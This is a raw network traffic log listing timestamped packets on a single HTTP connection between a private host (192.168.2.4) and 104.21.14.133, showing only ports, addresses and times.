Oct 11, 2024 04:10:44.426971912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427023888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427062988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427067995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427098989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427114964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427149057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427186966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427200079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427232981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427264929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427268028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427299976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427333117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427335978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427367926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427406073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427428007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427460909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427494049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427499056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427526951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427529097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427561998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427592993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427594900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427629948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427630901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427663088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427695990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427701950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427728891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427762032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427766085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427795887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427829027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427833080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427861929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427895069 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427900076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427930117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427963018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.427968025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.427997112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428029060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428033113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428062916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428096056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428100109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428128958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428164959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428164959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428198099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428231001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428235054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428263903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428297043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428299904 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428349972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428383112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428388119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428417921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428452015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428457022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428482056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428515911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428523064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428553104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428585052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428618908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428622961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428623915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428652048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428654909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428687096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428692102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428720951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.428731918 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.428807020 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459080935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459130049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459167004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459173918 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459201097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459202051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459235907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459238052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459270954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459301949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459306002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459338903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459368944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459372997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459440947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459472895 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459474087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459508896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459539890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459541082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459539890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459572077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459574938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459608078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459609032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459650040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459680080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459681988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459717035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459747076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459748030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459783077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459813118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459819078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459853888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459884882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.459886074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459918976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.459949970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.460932970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.512969017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513039112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513075113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513109922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513144016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513178110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513201952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513201952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513201952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513211966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513246059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513274908 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513279915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513313055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513330936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513348103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513381004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513387918 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513415098 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513447046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513453960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513479948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513509035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513515949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513541937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513578892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513581038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513612032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513649940 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513673067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513727903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513763905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513777018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513809919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513849020 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513859987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513896942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513935089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.513946056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.513979912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514017105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514022112 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.514050007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514082909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514086962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.514116049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514151096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514152050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.514183044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514219999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514219999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.514252901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514286995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514291048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.514321089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514353991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514355898 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.514385939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514420033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514421940 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.514451981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514486074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514487982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.514519930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.514556885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.518434048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.580916882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.580986977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581047058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581099033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581156015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581207037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581237078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581237078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581242085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581271887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581274033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581306934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581340075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581341028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581403017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581434965 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581453085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581494093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581525087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581545115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581578016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581609011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581612110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581645966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581680059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581685066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581713915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581746101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581749916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581783056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581814051 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581818104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581850052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581880093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581882954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581917048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581947088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.581950903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.581984997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582017899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582027912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582051992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582082987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582087040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582119942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582150936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582153082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582187891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582218885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582245111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582293987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582324028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582329988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582362890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582391977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582396984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582431078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582461119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582463980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582498074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582528114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582530022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582561016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582590103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582591057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582626104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582655907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582658052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582694054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582722902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582726002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582756996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582787991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582791090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582824945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582854033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582859039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582892895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582925081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.582926989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582963943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.582994938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583004951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583055019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583086967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583089113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583122969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583158016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583163977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583189011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583193064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583250999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583282948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583300114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583333969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583365917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583365917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583436012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583466053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583467007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583502054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583534002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583534002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583569050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583600998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583600998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583633900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583638906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583673000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583704948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583731890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583736897 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583738089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583765984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583796978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583800077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583832979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.583834887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.583868980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.589536905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.600444078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600512981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600548029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600553036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.600583076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600585938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.600619078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600620031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.600652933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600687027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600687981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.600719929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600753069 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600756884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.600786924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600820065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600822926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.600853920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600887060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.600891113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600924969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600958109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.600958109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.600994110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601026058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601026058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.601082087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.601088047 CEST	49733	80	192.168.2.4	104.21.14.133
